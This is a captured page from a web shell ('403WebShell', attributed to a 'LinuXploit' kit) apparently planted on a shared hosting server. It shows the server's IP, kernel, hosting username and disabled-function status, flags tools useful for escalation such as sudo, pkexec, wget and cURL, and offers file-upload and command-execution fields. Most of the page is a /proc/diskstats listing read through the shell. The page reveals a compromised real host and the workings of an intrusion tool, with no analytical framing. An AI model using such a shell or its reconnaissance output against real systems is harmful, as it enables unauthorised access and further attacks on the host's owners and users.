Uname:Linux gator4272.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64

403WebShell
403Webshell
Server IP : 162.241.144.16  /  Your IP : 216.73.217.62
Web Server : Apache
System : Linux gator4272.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : roskiny21 ( 1131)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/diskstats
   1       0 ram0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       1 ram1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       2 ram2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       3 ram3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       4 ram4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       5 ram5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       6 ram6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       7 ram7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       8 ram8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       9 ram9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      10 ram10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      11 ram11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      12 ram12 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      13 ram13 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      14 ram14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      15 ram15 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       0 loop0 82 0 688 7 6 0 4 3 0 5 7 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8      32 sdc 20636057456 2025674 442943092218 3461278974 956188419 1276060075 86209045016 1925359503 0 348075064 4089332918 0 0 0 0
   8      33 sdc1 20636042613 2025674 442942715338 3461272744 886433733 1276060075 86209045016 1917968954 0 1654221651 733014882 0 0 0 0
   8      48 sdd 14934679311 2035581 332928823914 224938360 801659642 938564516 97241083832 1659739131 0 521599759 2242138471 0 0 0 0
   8      49 sdd1 14934664461 2035581 332928446922 224932095 749802602 938564516 97241083832 1653480859 0 120303175 1591644762 0 0 0 0
   8       0 sda 30255011894 869705156 909690743416 1198540106 58309949441 20253522153 2288060556536 303602571 0 3435753136 4284352336 0 0 0 0
   8       1 sda1 3141898181 167762 100940586410 1538895060 6898703700 1225134205 291972359456 2517250603 0 1758501165 3971668468 0 0 0 0
   8       2 sda2 5534008 117 273369986 3844451 447815885 325473943 29004490968 921683435 0 105781578 920850163 0 0 0 0
   8       3 sda3 140379373 18364124 1287820560 53294227 518364920 162995551 5450883768 524191910 0 181834904 577923579 0 0 0 0
   8       4 sda4 32762 0 145258 14493 0 0 0 0 0 14264 14264 0 0 0 0
   8       5 sda5 26967152754 851173153 807188438818 3897452412 50018498962 18539918454 1961632822344 532027545 0 4178562118 3762634687 0 0 0 0
   8      16 sdb 2422232256 1005246 153277476194 1426286668 283529161 275668246 59043200416 734975773 0 3154283160 266079547 0 0 0 0
   8      17 sdb1 2422217424 1005246 153277099362 1426281086 275499816 275668246 59043200416 733622792 0 819637540 2112981339 0 0 0 0
   8      80 sdf 14489274880 2094052 532113209226 14756962 794557211 1031040579 74681378968 1373123405 0 4141582869 967754500 0 0 0 0
   8      81 sdf1 14489260015 2094052 532112832114 14751028 736965235 1031040579 74681378968 1366756744 0 333514962 1117038718 0 0 0 0
   8      64 sde 32119168549 3699550 693009866306 1666077501 2147213743 2291779159 397881245816 1047358125 0 3402219837 1171443122 0 0 0 0
   8      65 sde1 32119153689 3699550 693009489234 1666071569 2019645899 2291779159 397881245816 1033819379 0 878979702 2130663449 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit